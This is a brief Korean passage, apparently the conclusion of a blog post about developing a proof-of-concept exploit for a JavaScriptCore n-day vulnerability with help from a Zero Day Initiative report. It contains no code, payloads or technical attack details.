이를 통해 JSC n-day를 가져와 익스플로잇을 개발하는 방법을 보여줄 수 있기를 바랍니다. 저는 Zeroday Initiative의 보고서 덕분에 도움을 받았습니다. 익스플로잇을 작성하는 동안 이를 참고했지만, 주요 아이디어만 가져와 보고서를 보지 않고 직접 구현하려고 노력했습니다.

이 익스플로잇은 개념 증명에 불과하며, 가능한 한 견고하지는 않습니다. 아직 실패한 시도는 없었지만, 개선할 여지는 항상 있습니다. 학습 경험으로 이 작업을 수행했기 때문에 익스플로잇을 가능한 한 견고하게 만들지는 않았습니다.

도구 다운로드